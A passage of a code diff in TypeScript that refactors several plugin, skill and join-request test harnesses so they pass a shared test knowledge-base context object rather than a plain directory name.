93
- const source = new KbPluginSource(disk);
94
+ const kb = testKbContext({ kbDirName: KB_DIR });
95
+ const source = new KbPluginSource(disk, kb);
94
96
  const access = new AccessControlService(workspaceService, KB_DIR, disk);
95
- const skills = new SkillService(workspaceService, access, KB_DIR, disk);
97
+ const skills = new SkillService(workspaceService, access, kb, disk);
96
98
  catalog = skills;
97
- const links = new PluginLinkIndex(workspaceService, skills, access, KB_DIR, source);
99
+ const links = new PluginLinkIndex(workspaceService, skills, access, kb, source);
98
100
  compiler = new MarketplaceCompilerService(
99
101
  workspaceService,
100
102
  access,
101
103
  skills,
102
104
  links,
103
- KB_DIR,
105
+ kb,
104
106
  {
105
107
  name: 'acme-hexis',
106
108
  owner: 'Acme',
@@ -8,6 +8,7 @@ import {
8
8
  } from '../join-request-jobs.service.js';
9
9
  import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
10
10
  import { FakeJoinRequestStore } from './fake-join-request-store.js';
11
+ import { testKbContext } from '../../../__tests__/kb-context.js';
11
12
 
12
13
  /**
13
14
  * The git half of a join request, on its own: what it does to the row it was
@@ -40,7 +41,7 @@ function harness(over: Partial<JoinRequestJobsDeps> = {}, sharedStore?: FakeJoin
40
41
  const jobs = new PluginJoinRequestJobs(store, {
41
42
  workflow: workflow as never,
42
43
  workspaceService: workspaceService as never,
43
- kbDirName: KB,
44
+ kb: testKbContext({ kbDirName: KB }),
44
45
  target: async () => ({ folder: 'Plugins/Finance', displayName: 'Finance' }),
45
46
  requester: async (mail) => ({ ...ALI_USER, email: mail }),
46
47
  ...over,
@@ -9,6 +9,7 @@ import {
9
9
  import { type WorkspaceService } from '../../workspace/workspace.service.js';
10
10
  import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
11
11
  import { JoinRequestsService } from '../join-requests.service.js';
12
+ import { testKbContext } from '../../../__tests__/kb-context.js';
12
13
 
13
14
  /**
14
15
  * The derived lifecycle: a join request is open exactly while its branch's
@@ -54,7 +55,7 @@ function makeHarness(byRef: Record<string, string>) {
54
55
  rejectChangeRequest: vi.fn(async () => ({ number: 7, state: 'closed' })),
55
56
  deleteBranch: vi.fn(async () => undefined),
56
57
  } as unknown as IWorkflowService;
57
- return { svc: new JoinRequestsService(workspaceService, workflow), workflow, workspaceService };
58
+ return { svc: new JoinRequestsService(workspaceService, workflow, testKbContext()), workflow, workspaceService };
58
59
  }
59
60
 
60
61
  const refs = (branchMd: string | undefined, defaultMd = DEFAULT_MD) => ({
@@ -12,6 +12,7 @@ import { KbPluginSource } from '../discovery/kb-plugin-source.js';
12
12
  import { PluginProvisionService } from '../plugin-provision.service.js';
13
13
  import { createPluginCreationRoutes } from '../plugins.routes.js';
14
14
  import { CREATE_PLUGIN } from '../plugins.tools.js';
15
+ import { testKbContext } from '../../../__tests__/kb-context.js';
15
16
 
16
17
  /**
17
18
  * Both doors into plugin creation, through the code each one really runs.
@@ -72,9 +73,9 @@ async function makeHarness(): Promise<Harness> {
72
73
  workspaceService,
73
74
  { runPendingCommit: vi.fn(async () => undefined) },
74
75
  { invalidate: vi.fn() } as unknown as IAccessControl,
75
- KB,
76
+ testKbContext({ kbDirName: KB }),
76
77
  undefined,
77
- new KbPluginSource(new NodeFs()),
78
+ new KbPluginSource(new NodeFs(), testKbContext({ kbDirName: KB })),
78
79
  new NodeFs(),
79
80
  );
80
81
 
@@ -185,7 +186,7 @@ describe('creation derives and stores the display name the same way through ever
185
186
  await h.byTool('design');
186
187
  // `access.md` is what makes a folder exist to discovery; provisioning
187
188
  // wrote it, so the catalog sees both plugins.
188
- const { plugins } = await new KbPluginSource(new NodeFs()).discover(path.join(h.dir, KB));
189
+ const { plugins } = await new KbPluginSource(new NodeFs(), testKbContext({ kbDirName: KB })).discover(path.join(h.dir, KB));
189
190
  // Walk order, which is the folders' — `design` before `Sales Team`.
190
191
  expect(plugins.map((p) => [p.name, p.displayName])).toEqual([
191
192
  ['design', 'design'],
@@ -12,9 +12,11 @@ import type { WorkspaceService } from '../../workspace/workspace.service.js';
12
12
  import type { IAccessControl } from '../../access/access-control.interface.js';
13
13
  import type { ISkillService, SkillSummary } from '../../skills/skills.contract.js';
14
14
  import type { IToolManualService, ToolManualSummary } from '../../tool-manuals/tool-manuals.contract.js';
15
+ import { testKbContext } from '../../../__tests__/kb-context.js';
15
16
 
16
17
  const KB_DIR = 'knowledge-base';
17
18
  const wsId = workspaceIdForBranch(DEFAULT_BRANCH);
19
+ const kbContext = testKbContext({ kbDirName: KB_DIR });
18
20
 
19
21
  const OLGA = { name: 'Olga Ivanova', email: 'olga@bevel.software' };
20
22
 
@@ -70,8 +72,8 @@ describe('PluginIndexService', () => {
70
72
  opts.access ?? principals,
71
73
  skillService(opts.skills),
72
74
  toolService(opts.tools),
73
- KB_DIR,
74
- new KbPluginSource(new NodeFs()),
75
+ kbContext,
76
+ new KbPluginSource(new NodeFs(), kbContext),
75
77
  Date.now,
76
78
  opts.links,
77
79
  );
@@ -261,8 +263,8 @@ describe('PluginIndexService', () => {
261
263
  principals,
262
264
  skillService(skills('Skills/Eng/deploy', 'Skills/Eng/rollback', 'Plugins/Product/roadmap')),
263
265
  toolService(),
264
- KB_DIR,
265
- new KbPluginSource(new NodeFs()),
266
+ kbContext,
267
+ new KbPluginSource(new NodeFs(), kbContext),
266
268
  Date.now,
267
269
  links,
268
270
  ).catalog();